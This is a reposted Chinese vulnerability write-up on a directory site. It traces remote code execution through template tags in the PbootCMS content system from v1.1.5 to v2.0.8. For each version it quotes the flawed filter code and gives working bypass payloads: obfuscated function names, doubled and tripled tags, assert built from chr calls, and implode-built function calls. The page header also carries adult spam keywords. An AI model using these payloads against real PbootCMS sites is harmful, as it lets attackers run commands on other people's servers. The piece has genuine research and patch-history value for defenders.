日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

PbootCMS任意代碼執(zhí)行的前世今生

 

 

PbootCMS (v1.1.5及其以下)

漏洞復(fù)現(xiàn)

PbootCMS任意代碼執(zhí)行的前世今生

 

poc:
{pboot:if(system(whoami))}{/pboot:if}

漏洞分析

漏洞點(diǎn)位于/Apps/home/controller/ParserController.php

    public function parserIfLabel($content)
    {
        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                // 對(duì)于無(wú)參數(shù)函數(shù)不執(zhí)行解析工作
                if (preg_match('/[w]+()/', $matches[1][$i])) {
                    continue;
                }
                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                ......

這里有通過(guò)兩個(gè)正則表達(dá)式后即可進(jìn)入eval函數(shù)且$content是可控的第一個(gè)正則表達(dá)式限制格式格式必須為{pboot:if(payload)}{/pboot:if}形式第二個(gè)正則表達(dá)式不允許出現(xiàn)字母后面加()的情況,如phpinfo()這里很好繞過(guò),比如phpinfo(1),system(任意命令)

 

PbootCMS (v1.1.6-v1.1.8)

漏洞分析

從1.1.6對(duì)之前存在的任意代碼執(zhí)行漏洞進(jìn)行了修補(bǔ),增加了部分函數(shù)黑名單,代碼如下

public function parserIfLabel($content)
    {
        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            // IF語(yǔ)句需要過(guò)濾的黑名單
            $black = array(
                'chr',
                'phpinfo',
                'eval',
                'passthru',
                'exec',
                'system',
                'chroot',
                'scandir',
                'chgrp',
                'chown',
                'shell_exec',
                'proc_open',
                'proc_get_status',
                'error_log',
                'ini_alter',
                'ini_set',
                'ini_restore',
                'dl',
                'pfsockopen',
                'syslog',
                'readlink',
                'symlink',
                'popen',
                'stream_socket_server',
                'putenv',
                'unlink',
                'path_delete',
                'rmdir',
                'session',
                'cookie',
                'mkdir',
                'create_dir',
                'create_file',
                'check_dir',
                'check_file'
            );
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                $danger = false;
                foreach ($black as $value) {
                    if (preg_match('/' . $value . '([s]+)?(/i', $matches[1][$i])) {
                        $danger = true;
                        break;
                    }
                }
                // 如果有危險(xiǎn)字符,則不解析該IF
                if ($danger) {
                    continue;
                }

                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

顯然黑名單有漏網(wǎng)之魚(yú),但是由于將單引號(hào)、雙引號(hào)都進(jìn)行了html實(shí)體轉(zhuǎn)義讓很多函數(shù)不能使用,但是依然有可以用的,如base64_decode,反引號(hào)等

payload1
{pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}
PbootCMS任意代碼執(zhí)行的前世今生

 

payload2
{pboot:if(var_dump(`whoami`))}{/pboot:if}
PbootCMS任意代碼執(zhí)行的前世今生

 

 

PbootCMS(v1.1.9-v1.3.2)

發(fā)現(xiàn)黑名單有不足于是改成了白名單,代碼如下

public function parserIfLabel($content)
    {
        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                $danger = false;

                $white_fun = array(
                    'date'
                );

                // 不允許執(zhí)行帶有函數(shù)的條件語(yǔ)句
                if (preg_match_all('/([w]+)([s]+)?(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if (function_exists($value) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }

                // 如果有危險(xiǎn)字符,則不解析該IF
                if ($danger) {
                    continue;
                } else {
                    $matches[1][$i] = decode_string($matches[1][$i]); // 解碼條件字符串
                }

                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                ......

如果我們能繞過(guò)function_exists的檢測(cè)就行了網(wǎng)上有師傅給了如下繞過(guò)思路

PbootCMS任意代碼執(zhí)行的前世今生

 

payload1
{pboot:if(system(whoami));//)}{/pboot:if}
PbootCMS任意代碼執(zhí)行的前世今生

 

payload2
{pboot:if(1);$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system
PbootCMS任意代碼執(zhí)行的前世今生

 

后面的版本添加了正則匹配eval,其實(shí)也沒(méi)啥用,上面兩個(gè)payload一樣可以用

 

PbootCMS(v1.3.3-v2.0.2)

過(guò)濾了特殊字符導(dǎo)致使用非交互式直接執(zhí)行任意代碼的時(shí)代結(jié)束

PbootCMS任意代碼執(zhí)行的前世今生

 

然而留言部分仍然存在任意代碼執(zhí)行,代碼如下

public function parserIfLabel($content)
    {
        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                $danger = false;

                $white_fun = array(
                    'date',
                    'in_array',
                    'explode',
                    'implode'
                );

                // 還原可能包含的保留內(nèi)容,避免判斷失效
                $matches[1][$i] = $this->restorePreLabel($matches[1][$i]);

                // 解碼條件字符串
                $matches[1][$i] = decode_string($matches[1][$i]);

                // 帶有函數(shù)的條件語(yǔ)句進(jìn)行安全校驗(yàn)
                if (preg_match_all('/([w]+)([\s]+)?(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }

                // 不允許從外部獲取數(shù)據(jù)
                if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)/i', $matches[1][$i])) {
                    $danger = true;
                }

                // 如果有危險(xiǎn)函數(shù),則不解析該IF
                if ($danger) {
                    continue;
                }

                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

禁止了外部數(shù)據(jù)的獲取,白名單處的正則匹配不嚴(yán)謹(jǐn),導(dǎo)致函數(shù)名+空格+()可以實(shí)現(xiàn)繞過(guò)

payload
{pboot:if(system (whoami))}{/pboot:if}
PbootCMS任意代碼執(zhí)行的前世今生

 

 

PbootCMS(v2.0.3)

增加了外部獲取數(shù)據(jù)過(guò)濾部分,代碼如下

if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)/i', $matches[1][$i])) {
                    $danger = true;
                }

并不影響我們使用system函數(shù),提交上一個(gè)版本payload,發(fā)現(xiàn)pboot:if被刪掉了

PbootCMS任意代碼執(zhí)行的前世今生

 

在apps/home/controller/IndexController.php里第270行使用了將pboot:if替換為空

PbootCMS任意代碼執(zhí)行的前世今生

 

所以直接雙寫(xiě)繞過(guò)

payload
{pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}
PbootCMS任意代碼執(zhí)行的前世今生

 

 

PbootCMS(v2.0.4-v2.0.7)

使用上一個(gè)版本payload,發(fā)下雙寫(xiě)也被過(guò)濾了

PbootCMS任意代碼執(zhí)行的前世今生

 

改動(dòng)的地方位于/core/basic/Model.php,增加了如下代碼

PbootCMS任意代碼執(zhí)行的前世今生

 

也就是再過(guò)濾了一次pboot:if,然而這種替換為空是根本沒(méi)用的,于是三重寫(xiě)繞過(guò),但是v2.0.4還增加了正則黑名單的過(guò)濾,禁用了system等函數(shù),代碼如下正則匹配黑名單加強(qiáng),代碼如下

if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {
                    $danger = true;
                }

發(fā)現(xiàn)漏掉了assert函數(shù),沒(méi)用過(guò)濾chr函數(shù),所以直接拼接繞過(guò)

payload
{ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}
PbootCMS任意代碼執(zhí)行的前世今生

 

 

PbootCMS(v2.0.8)

從v2.0.8開(kāi)始采用遞歸替換pboot:if,位于/app/home/controller/MessageController.php第61行

$field_data = preg_replace_r('/pboot:if/i', '', $field_data);

跟進(jìn)一下,位于/core/function/handle.php

function preg_replace_r($search, $replace, $subject)
{
    while (preg_match($search, $subject)) {
        $subject = preg_replace($search, $replace, $subject);
    }
    return $subject;
}

這樣就無(wú)法采用雙寫(xiě)繞過(guò)了,正則表達(dá)式處改動(dòng)了,導(dǎo)致函數(shù)+空格被過(guò)濾,代碼如下

if (preg_match_all('/([w]+)([s\\]+)?(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if (function_exists($value) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }

后臺(tái)不會(huì)經(jīng)過(guò)preg_replace函數(shù)的處理,使用的白名單里implode函數(shù)仍然可以實(shí)現(xiàn)任意代碼執(zhí)行

payload
{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['s','y','s','t','e','m']),implode('',['w','h','o','a','m','i'])))}{/pboot:if}
PbootCMS任意代碼執(zhí)行的前世今生

 

 

后記

PbootCMS的最新版本v3.0.1已經(jīng)發(fā)布修復(fù)了該漏洞,從v1.0.1最開(kāi)始的第一個(gè)版本到v2.0.9歷時(shí)2年經(jīng)過(guò)不斷的漏洞修復(fù),但是每次修復(fù)后就被繞過(guò),不由得引發(fā)一系列反思

本文由ghtwf01原創(chuàng)發(fā)布
轉(zhuǎn)載,請(qǐng)參考轉(zhuǎn)載聲明,注明出處: https://www.anquanke.com/post/id/212603

分享到:
標(biāo)簽:PbootCMS
用戶無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定